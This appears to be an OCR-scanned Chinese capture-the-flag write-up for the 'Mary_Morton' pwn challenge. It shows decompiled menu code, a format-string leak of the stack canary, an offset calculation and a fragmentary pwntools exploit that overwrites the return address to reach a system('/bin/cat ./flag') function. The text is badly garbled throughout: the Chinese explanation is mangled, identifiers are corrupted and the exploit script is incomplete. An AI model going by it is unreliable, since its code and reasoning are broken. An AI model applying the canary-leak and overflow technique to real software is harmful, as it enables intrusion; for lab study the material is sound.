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Mary_ﬁorton: ELF 64-bit LSBTexécutaBie, X86-64, version 1 (SYSV), dynamically 1
inked, interpreter /lib64/1d-linux-x86-64.s0.2, for GNU/Linux 2.6.32, BuildID[s
hal]=b7971b84c2369bdb896e6e390873303fc13668a38, stripped

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack:

NX:

PIE:

@ FTNX, BAHHAT.

Welcome to the battle !
[Great Fairy] level pwned
Select your weapon

1. Stack Bufferoverflow Bug

2. Format String Bug
3. Exit the battle
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Stack Bufferoverflow Bug

. Format String Bug
Exit the battle
Alarm clock

ida& & H &I 4T

= _ readfsqword(®x28u);
sub_4809FF();
puts(“Welcome to the battle ! ");
puts("”[Great Fairy] level pwned ");
puts(“Select your weapon ");
while ( 1)
{
while ( 1)
{
sub_4889DA(); ff 12,3
_ is50c99 scanf("%d", &v2);
if ( I=2)
break;
string bug 4008EB(); // printf BHAFFFH
¥
if ( = 3)
{
puts(“Bye ");
exit(0);
¥
if ( = 1)
bufferoverflow 408960(); // % canary, &1hiE L
else
puts("Wrong!");

fEida 2L F 3 A systemK

int sub 4@88DA()
{

¥

return system("/bin/cat ./flag");

Hibk: Ox4008DA
gdbifik, BEKANFHESHNMLE

Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug

. Exit the battle
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1. Stack Bufferoverflow Bug

2. Format String Bug

3. Exit the battle
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B H R AAAAAAAAGX . . (1)..-0X.(2)...<OX.(3) e emrnn .. -0x4141414141414141.. .

XEOx (1) BRMPABMANERLFRE A, %p-..  FERE—ANSHHE (BREREERNSE -A2H,
N AAAA. .%p-..' REBRBHE—ANSH. BT sasasasa BERCERFEREAINSH, BRERBNELIMSH.

BE A RARA H R #:
unsigned _ int6d sub_400968()
{
char buf[136]; // [rsp+Bh] [rbp-98h] BYREF
unsigned _ int6d v2; // [rsp+88h] [rbp-8h]
vZ2 = _ readfsgword(@x28u); // canary¥TiE
memset(buf, @, @x80ull);
read(@, buf, @x108uLl); // i

printf("-> %s\n", buf);
return _ readfsqword(@x28u) ~ vI; - )
} CS5DN @YOng.

A DAFI F kR v BIbufiI A2 B : rbp-90h, canarybr EV2FIAIE: rbp-8h
FEMZEREEE: 90h-8h=0x88, 0x88/8 = (8x16+8)/8 = 17.
HFbufRE& R F R RN SH, FrV2RIERMERF R I 6+17 = 23104

FA B B RM AT K canary I E M B 1R, 25 FERES, FMHHRE 1R TFR canaryi B M call system i £ i 3
bIREPE S

exp:

from pwn import

p = process(

0x0004008DA

ox88 p64(canary) 8 p64(sys_addr)

p.sendline(payload)

p.interactive()
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